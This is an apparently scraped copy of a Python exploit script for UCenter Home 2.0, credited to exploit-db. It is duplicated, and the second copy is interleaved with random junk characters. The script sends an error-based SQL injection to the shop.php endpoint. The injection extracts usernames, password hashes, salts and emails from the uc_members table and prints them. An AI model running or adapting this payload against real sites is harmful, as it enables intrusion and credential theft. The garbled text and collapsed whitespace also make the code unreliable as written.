#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
* k/ m* Q H- j6 k& i
+ H. E* x2 P$ G- w4 J( L7 S& p, ]0 m( Q2 V0 o
#!/usr/bin/env python
) c5 r- G& c1 W ) U8 K7 u; @0 o) ~2 g1 s
import sys * V6 ~7 H; q7 M" Y. J/ {9 P
import urllib2 2 }9 X# b- X4 o# k1 X
import re 4 w0 C! B+ \4 [/ Z7 J% T* c
& m- ~) ]; M" ^- ^2 _/ d. bdef info(): 6 K5 y. j- b% t
print 'From:http://www.exploit-db.com/exploits/14997/' / _3 K* K. z3 j1 C. T) t9 Y
print 'http://www.hake.cc/Web_loudong/' % y& c4 W2 m* {( B6 c4 x
print 'changed:qiaoy' " \! a, r5 [8 H) b9 B- q2 v
print 'exp:' 0 j* F4 Z0 l% ?' Z7 c: @# a
print ' ./UCenter_Home_2.0.py site'
8 g! e3 J% Q+ s2 M / f/ ^3 [, W9 j
def main():
+ J4 l6 d$ x d( Z2 z if len(sys.argv) != 2:
0 ~# J" { g/ |/ i. \0 j' K; _ info()
! v- U; z* j2 d, c$ b1 ? else:
/ [4 G6 G) y' F. J( g5 f2 \ site = sys.argv[1]
5 L& ~" _ ]% }+ {! _; ? if site[0:7] == 'http://': , A2 v! Z; c6 ^ D, G
sitesite =site
, W$ @. n% {, r5 e- v( e elif site[0:8] == 'https://':
" y" Y( p0 h" m sitesite = site ( h7 C. c5 w F, x0 J
else: & ^8 |! C. m/ K( D4 n" K6 @
site = 'http://'+site
+ ~6 ^: }5 _, Z v4 L( ` try:
) P! I" C) t* y5 g4 A url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' ' v" }8 r9 K( U$ w: ]
Value = urllib2.urlopen(url).read()
. g3 ~6 J' d9 S) _/ ? Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
$ }6 C4 G8 X3 p5 r1 |6 B hacked = Msg.split(':') 5 }+ t! {* L' i3 I, e
print 'Name: '+hacked[1] ; `( k5 o+ g, k+ _0 H' q9 d% r3 q
print 'Passwd: '+hacked[2]
# ?# z5 j+ Y9 C! b9 o2 |- h5 R, U- t, K print 'salt: '+hacked[3]
; y, h- n s/ R/ v8 z/ d print 'email: '+hacked[4]
$ P9 j% q( D, G except:
$ ~4 E6 G" C" R8 b l3 x4 } ` print 'Sorry,I can\'t work............'
- x4 p4 y3 |% @4 l2 } ( C! N) O x( g% y: O
if __name__ == '__main__':
% i. a6 Y1 v* p! L- s' x5 W' Z main() |